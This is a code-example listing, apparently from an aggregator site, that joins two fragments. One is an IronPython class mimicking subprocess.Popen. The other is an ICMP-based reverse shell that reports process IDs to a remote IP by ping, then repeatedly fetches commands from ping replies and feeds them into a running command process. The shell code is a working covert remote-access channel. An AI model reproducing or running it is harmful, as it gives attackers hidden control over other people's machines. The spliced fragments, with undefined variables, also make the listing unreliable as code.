Exemple #1
0
        class Popen(object):
            def __init__(self,
                         args,
                         executable,
                         stdin=None,
                         stdout=None,
                         stderr=None):
                self.p = Process()
                i = self.p.StartInfo
                i.UseShellExecute = False
                i.RedirectStandardInput = True
                i.RedirectStandardOutput = True
                i.RedirectStandardError = True
                i.FileName = executable
                args.pop(0)
                i.Arguments = " ".join(args)

            def communicate(self, stdinData=None):
                self.p.Start()
                stdin = self.p.StandardInput
                stdout = self.p.StandardOutput
                stderr = self.p.StandardError
                if stdinData is not None:
                    stdin.AutoFlush = True
                    stdin.Write(stdinData)
                    stdin.Flush()
                    # ? problem when we have input data only!
                stdoutData = stdout.ReadToEnd()
                stderrData = stderr.ReadToEnd()
                if not self.p.HasExited:
                    self.p.Kill()
                stdin.Close()
                stdout.Close()
                stderr.Close()
                self.p.Close()
                return stdoutData, stderrData
p.StartInfo.RedirectStandardOutput = True
p.StartInfo.RedirectStandardInput = True
p.StartInfo.RedirectStandardError = True
p.OutputDataReceived += DataReceivedEventHandler(CmdOutputDataHandler)
p.ErrorDataReceived += DataReceivedEventHandler(CmdOutputDataHandler)
p.Start()
pids = Encoding.ASCII.GetBytes("SPID: %s\nCPID: %s\n" %
                               (Process.GetCurrentProcess().Id, p.Id))
pinger.Send(IP, 10, pids)
p.StandardInput.WriteLine(" ")

p.BeginOutputReadLine()
p.BeginErrorReadLine()

#Recieve loop
while (not p.HasExited):
    try:
        # You can change the value of Send function to increase or decrease callbacks to recieve commands
        reply = pingee.Send(IP, 50000, Encoding.ASCII.GetBytes("OK"))
        inp = Encoding.ASCII.GetString(reply.Buffer)
        if inp:
            print inp
            p.StandardInput.WriteLine(inp)
    except IOException:
        break
    except WindowsError:
        p.Close()
        break
    except InvalidOperationException:
        pass